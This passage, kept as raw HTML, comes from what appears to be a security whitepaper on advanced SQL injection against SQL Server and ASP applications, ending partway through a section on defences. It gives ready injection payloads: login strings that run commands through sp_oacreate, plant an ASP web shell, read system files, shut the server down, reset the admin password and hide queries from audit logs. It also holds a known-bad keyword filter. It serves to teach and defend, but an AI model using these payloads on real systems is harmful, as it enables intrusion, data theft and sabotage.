&lt;TD class="" vAlign=top width="50%" height=57&gt;
&lt;P align=left&gt;allows the user to create a compressed archive of files on the server (or any files the server can access) &lt;/FONT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class="" vAlign=top width="50%" height=39&gt;
&lt;P align=left&gt;xp_ntsec_enumdomains &lt;/FONT&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD class="" vAlign=top width="50%" height=39&gt;
&lt;P align=left&gt;enumerates domains that the server can access &lt;/FONT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class="" vAlign=top width="50%" height=21&gt;
&lt;P align=left&gt;xp_terminate_process &lt;/FONT&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD class="" vAlign=top width="50%" height=21&gt;
&lt;P align=left&gt;terminates a process, given its PID &lt;/FONT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Linked Servers &lt;/STRONG&gt;&lt;/P&gt;
&lt;P&gt;SQL Server provides a mechanism to allow servers to be 'linked' - that is, to allow a query on one database server to manipulate data on another. These links are stored in the master..sysservers table. If a linked server has been set up using the 'sp_addlinkedsrvlogin' procedure, a pre-authenticated link is present and the linked server can be accessed through it without having to log in. The 'openquery' function allows queries to be run against the linked server. &lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Custom extended stored procedures &lt;/STRONG&gt;&lt;/P&gt;
&lt;P align=left&gt;The extended stored procedure API is a fairly simple one, and it is a fairly simple task to create an extended stored procedure DLL that carries malicious code. There are several ways to upload the DLL onto the SQL server using command lines, and there are other methods involving various communication mechanisms that can be automated, such as HTTP downloads and FTP scripts. &lt;/P&gt;
&lt;P align=left&gt;Once the DLL file is present on a machine that the SQL Server can access - this need not necessarily be the SQL server itself - the attacker can add the extended stored procedure using this command (in this case, our malicious stored procedure is a small, trojan web server that exports the servers filesystems): &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll' &lt;/EM&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;The extended stored procedure can then be run by calling it in the normal way: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;exec xp_webserver &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;Once the procedure has been run, it can be removed like this: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P&gt;&lt;EM&gt;sp_dropextendedproc 'xp_webserver' &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;
&lt;P&gt;&lt;STRONG&gt;Importing text files into tables &lt;/STRONG&gt;&lt;/P&gt;
&lt;P align=left&gt;Using the 'bulk insert' statement, it is possible to insert a text file into a temporary table. Simply create the table like this: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;create table foo( line varchar(8000) ) &lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;…and then run an bulk insert to insert the data from the file, like this: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp' &lt;/P&gt;&lt;/FONT&gt;
&lt;P&gt;…the data can then be retrieved using any of the above error message techniques, or by a 'union' select, combining the data in the text file with the data that is normally returned by the application. This is useful for obtaining the source code of scripts stored on the database server, or possibly the source of ASP scripts. &lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Creating Text Files using BCP &lt;/STRONG&gt;&lt;/P&gt;
&lt;P align=left&gt;It is fairly easy to create arbitrary text files using the 'opposite' technique to the 'bulk insert'. Unfortunately this requires a command line tool, 'bcp', the 'bulk copy program' &lt;/P&gt;
&lt;P align=left&gt;Since bcp accesses the database from outside the SQL Server process, it requires a login. This is typically not difficult to obtain, since the attacker can probably create one anyway, or take advantage of 'integrated' security mode, if the server is configured to use it. &lt;/P&gt;
&lt;P align=left&gt;The command line format is as follows: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P&gt;The 'S' parameter is the server on which to run the query, the 'U' is the username and the 'P' is the password, in this case 'foobar'. &lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;ActiveX automation scripts in SQL Server &lt;/STRONG&gt;&lt;/P&gt;
&lt;P align=left&gt;Several built-in extended stored procedures are provided which allow the creation of ActiveX Automation scripts in SQL server. These scripts are functionally the same as scripts running in the context of the windows scripting host, or ASP scripts - they are typically written in VBScript or JavaScript, and they create Automation objects and interact with them. An automation script written in Transact-SQL in this way can do anything that an ASP script, or a WSH script can do. A few examples are provided here for illustration purposes &lt;/P&gt;
&lt;P align=left&gt;1) This example uses the 'wscript.shell' object to create an instance of notepad (this could of course be any command line): &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;-- wscript.shell example &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;declare @o int &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;exec sp_oacreate 'wscript.shell', @o out &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;exec sp_oamethod @o, 'run', NULL, 'notepad.exe' &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;&lt;EM&gt;It could be run in our sample scenario by specifying the following username (all on one line): &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'-- &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;2) This example uses the 'scripting.filesystemobject' object to read a known text file: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;-- scripting.filesystemobject example - read a known file &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;declare @o int, @f int, @t int, @ret int &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;declare @line varchar(8000) &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;exec sp_oacreate 'scripting.filesystemobject', @o out &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1 &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;exec @ret = sp_oamethod @f, 'readline', @line out &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;while( @ret = 0 ) &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;begin &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;print @line &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;exec @ret = sp_oamethod @f, 'readline', @line out &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;end &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;3) This example creates an ASP script that will run any command passed to it in the querystring: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;-- scripting.filesystemobject example - create a 'run this' .asp file &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;declare @o int, @f int, @t int, @ret int &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;exec sp_oacreate 'scripting.filesystemobject', @o out &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1 &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;exec @ret = sp_oamethod @f, 'writeline', NULL, &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;'&amp;lt;% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %&amp;gt;' &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;It is important to note that when running on a Windows NT4, IIS4 platform, commands issued by this ASP script will run as the 'system' account. In IIS5, however, they will run as the low-privileged IWAM_xxx account. &lt;/P&gt;
&lt;P align=left&gt;4) This (somewhat spurious) example illustrates the flexibility of the technique; it uses the 'speech.voicetext' object, causing the SQL Server to speak: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;declare @o int, @ret int &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;exec sp_oacreate 'speech.voicetext', @o out &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;exec sp_oasetproperty @o, 'speed', 150 &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528 &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;waitfor delay '00:00:05' &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;This could of course be run in our example scenario, by specifying the following 'username' (note that the example is not only injecting a script, but simultaneously logging in to the application as 'admin'): &lt;/P&gt;
&lt;P&gt;Username: admin'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'-- &lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Stored Procedures &lt;/STRONG&gt;&lt;/P&gt;
&lt;P align=left&gt;Traditional wisdom holds that if an ASP application uses stored procedures in the database, that SQL injection is not possible. This is a half-truth, and it depends on the manner in which the stored procedure is called from the ASP script. &lt;/P&gt;
&lt;P align=left&gt;Essentially, if a parameterised query is run, and the user-supplied parameters are passed safely to the query, then SQL injection is typically impossible. However, if the attacker can exert any influence over the non - data parts of the query string that is run, it is likely that they will be able to control the database. &lt;/P&gt;
&lt;P align=left&gt;Good general rules are: &lt;/P&gt;
&lt;P align=left&gt;• If the ASP script creates a SQL query string that is submitted to the server, it is vulnerable to SQL injection, *even if* it uses stored procedures &lt;/P&gt;
&lt;P align=left&gt;• If the ASP script uses a procedure object that wraps the assignment of parameters to a stored procedure (such as the ADO command object, used with the Parameters collection) then it is generally safe, though this depends on the object's implementation. &lt;/P&gt;
&lt;P align=left&gt;Obviously, best practice is still to validate all user supplied input, since new attack techniques are being discovered all the time. &lt;/P&gt;
&lt;P align=left&gt;To illustrate the stored procedure query injection point, execute the following SQL string: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;sp_who '1' select * from sysobjects &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;or &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;sp_who '1'; select * from sysobjects &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;Either way, the appended query is still run, after the stored procedure. &lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Advanced SQL Injection &lt;/STRONG&gt;&lt;/P&gt;
&lt;P align=left&gt;It is often the case that a web application will 'escape' the single quote character (and others), and otherwise 'massage' the data that is submitted by the user, such as by limiting its length. &lt;/P&gt;
&lt;P&gt;In this section, we discuss some techniques that help attackers bypass some of the more obvious defences against SQL injection, and evade logging to a certain extent. &lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Strings without quotes &lt;/STRONG&gt;&lt;/P&gt;
&lt;P align=left&gt;Occasionally, developers may have protected an application by (say) escaping all 'single quote' characters, perhaps by using the VBScript 'replace' function or similar: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;function escape( input ) &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;input = replace(input, "'", "''") &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;escape = input &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;end function&lt;/EM&gt; &lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;Admittedly, this will prevent all of the example attacks from working on our sample site, and removing ';' characters would also help a lot. However, in a larger application it is likely that several values that the user is supposed to input will be numeric. These values will not require 'delimiting', and so may provide a point at which the attacker can insert SQL. &lt;/P&gt;
&lt;P align=left&gt;If the attacker wishes to create a string value without using quotes, they can use the 'char' function. For example: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;insert into users values( 666, &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;0xffff) &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;…is a query containing no quote characters, which will insert strings into a table. &lt;/P&gt;
&lt;P align=left&gt;Of course, if the attacker doesn't mind using a numeric username and password, the following statement would do just as well: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;insert into users values( 667, &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;123, &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;123, &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;0xffff) &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P&gt;Since SQL Server automatically converts integers into 'varchar' values, the type conversion is implicit. &lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Second-Order SQL Injection &lt;/STRONG&gt;&lt;/P&gt;
&lt;P align=left&gt;Even if an application always escapes single - quotes, an attacker can still inject SQL as long as data in the database is re-used by the application. &lt;/P&gt;
&lt;P align=left&gt;For example, an attacker might register with an application, creating a username &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: admin'-- &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;Password: password &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;The application correctly escapes the single quote, resulting in an 'insert' statement like this: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;insert into users values( 123, 'admin''--', 'password', 0xffff ) &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;Let's say the application allows a user to change their password. The ASP script code first ensures that the user has the 'old' password correct before setting the new password. The code might look like this: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;username = escape( Request.form("username") ); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;oldpassword = escape( Request.form("oldpassword") ); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;newpassword = escape( Request.form("newpassword") ); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;var rso = Server.CreateObject("ADODB.Recordset"); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'"; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;rso.open( sql, cn ); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;if (rso.EOF) &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;{ &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;… &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;The query to set the new password might look like this: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'" &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;&lt;EM&gt;rso("username") is the username retrieved from the 'login' query. &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;Given the username admin'--, the query produces the following query: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;update users set password = 'password' where username = 'admin'--' &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;The attacker can therefore set the admin password to the value of their choice, by registering as a user called admin'--. &lt;/P&gt;
&lt;P align=left&gt;This is a dangerous problem, present in most large applications that attempt to 'escape' data. The best solution is to reject bad input, rather than simply attempting to modify it. This can occasionally lead to problems, however, where 'known bad' characters are necessary, as (for example) in the case of names with apostrophes; for example &lt;/P&gt;
&lt;P align=left&gt;O'Brien &lt;/P&gt;
&lt;P align=left&gt;From a security perspective, the best way to solve this is to simply live with the fact that single-quotes are not permitted. If this is unacceptable, they will have to be 'escaped'; in this case, it is best to ensure that all data that goes into a SQL query string (including data obtained from the database) is correctly handled. &lt;/P&gt;
&lt;P align=left&gt;Attacks of this form are also possible if the attacker can somehow insert data into the system without using the application; the application might have an email interface, or perhaps an error log is stored in the database that the attacker can exert some control over. It is always best to verify *all* data, including data that is already in the system - the validation functions should be relatively simple to call, for example &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;if ( not isValid( "email", request.querystring("email") ) then &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;response.end &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P&gt;..or something similar. &lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Length Limits &lt;/STRONG&gt;&lt;/P&gt;
&lt;P align=left&gt;Sometimes the length of input data is restricted in order to make attacks more difficult; while this does obstruct some types of attack, it is possible to do quite a lot of harm in a very small amount of SQL. For example, the username &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: ';shutdown-- &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;...will shut down the SQL server instance, using only 12 characters of input. Another example is &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;drop table &amp;lt;tablename&amp;gt; &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;Another problem with limiting input data length occurs if the length limit is applied after the string has been 'escaped'. If the username was limited to (say) 16 characters, and the password was also limited to 16 characters, the following username/password combination would execute the 'shutdown' command mentioned above: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: aaaaaaaaaaaaaaa' &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;Password: '; shutdown-- &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;The reason is that the application attempts to 'escape' the single - quote at the end of the username, but the string is then cut short to 16 characters, deleting the 'escaping' single quote. The net result is that the password field can contain some SQL, if it begins with a single - quote, since the query ends up looking like this: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;select * from users where username='aaaaaaaaaaaaaaa'' and password='''; shutdown-- &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;Effectively, the username in the query has become &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;aaaaaaaaaaaaaaa' and password=' &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P&gt;…so the trailing SQL runs. &lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Audit Evasion &lt;/STRONG&gt;&lt;/P&gt;
&lt;P align=left&gt;SQL Server includes a rich auditing interface in the sp_traceXXX family of functions, which allow the logging of various events in the database. Of particular interest here are the T-SQL events, which log all of the SQL statements and 'batches' that are prepared and executed on the server. If this level of audit is enabled, all of the injected SQL queries we have discussed will be logged and a skilled database administrator will be able to see what has happened. Unfortunately, if the attacker appends the string &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;sp_password &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;to a the Transact-SQL statement, this audit mechanism logs the following: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;-- 'sp_password' was found in the text of this event. &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;-- The text has been replaced with this comment for security reasons. &lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;This behaviour occurs in all T-SQL logging, even if 'sp_password' occurs in a comment. This is, or course, intended to hide the plaintext passwords of users as they pass through sp_password, but it is quite a useful behaviour for an attacker. &lt;/P&gt;
&lt;P align=left&gt;So, in order to hide all of the injection the attacker needs to simply append sp_password after the '--' comment characters, like this: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: admin'--sp_password &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P&gt;The fact that some SQL has run will be logged, but the query string itself will be conveniently absent from the log. &lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Defences &lt;/STRONG&gt;&lt;/P&gt;
&lt;P&gt;This section discusses some defences against the described attacks. Input validation is discussed, and some sample code provided, then we address SQL server lockdown issues. &lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Input Validation &lt;/STRONG&gt;&lt;/P&gt;
&lt;P align=left&gt;Input validation can be a complex subject. Typically, too little attention is paid to it in a development project, since overenthusiastic validation tends to cause parts of an application to break, and the problem of input validation can be difficult to solve. Input validation tends not to add to the functionality of an application, and thus it is generally overlooked in the rush to meet imposed deadlines. &lt;/P&gt;
&lt;P align=left&gt;The following is a brief discussion of input validation, with sample code. This sample code is (of course) not intended to be directly used in applications, but it does illustrate the differing strategies quite well. &lt;/P&gt;
&lt;P align=left&gt;The different approaches to data validation can be categorised as follows: &lt;/P&gt;
&lt;P align=left&gt;1) Attempt to massage data so that it becomes valid &lt;/P&gt;
&lt;P align=left&gt;2) Reject input that is known to be bad &lt;/P&gt;
&lt;P align=left&gt;3) Accept only input that is known to be good &lt;/P&gt;
&lt;P align=left&gt;Solution (1) has a number of conceptual problems; first, the developer is not necessarily aware of what constitutes 'bad' data, because new forms of 'bad data' are being discovered all the time. Second, 'massaging' the data can alter its length, which can result in problems as described above. Finally, there is the problem of second-order effects involving the reuse of data already in the system. &lt;/P&gt;
&lt;P align=left&gt;Solution (2) suffers from some of the same issues as (1); 'known bad' input changes over time, as new attack techniques develop. &lt;/P&gt;
&lt;P align=left&gt;Solution (3) is probably the better of the three, but can be harder to implement. &lt;/P&gt;
&lt;P align=left&gt;Probably the best approach from a security point of view is to combine approaches (2) and (3) - allow only good input, and then search that input for known 'bad' data. &lt;/P&gt;
&lt;P align=left&gt;A good example of the necessity to combine these two approaches is the problem of hyphenated surnames : &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;Quentin Bassington-Bassington &lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;We must allow hyphens in our 'good' input, but we are also aware that the character sequence '--' has significance to SQL server. &lt;/P&gt;
&lt;P align=left&gt;Another problem occurs when combining the 'massaging' of data with validation of character sequences - for example, if we apply a 'known bad' filter that detects '--', 'select' and 'union' followed by a 'massaging' filter that removes single-quotes, the attacker could specify input like &lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;uni'on sel'ect @@version-'- &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;Since the single-quote is removed after the 'known bad' filter is applied, the attacker can simply intersperse single quotes in his known-bad strings to evade detection. &lt;/P&gt;
&lt;P align=left&gt;Here is some example validation code. &lt;/P&gt;
&lt;P align=left&gt;Approach 1 - Escape singe quotes &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;function escape( input ) &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;input = replace(input, "'", "''") &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;escape = input &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;end function &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;Approach 2 - Reject known bad input &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;function validate_string( input ) &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;known_bad = array( "select", "insert", "update", "delete", "drop", "--", "'" ) &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;validate_string = true &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;for i = lbound( known_bad ) to ubound( known_bad ) &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;if ( instr( 1, input, known_bad(i), vbtextcompare ) &amp;lt;&amp;gt; 0 ) then &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;validate_string = false &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;exit function &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;end if &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;next &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;end function &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;Approach 3 - Allow only good input &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
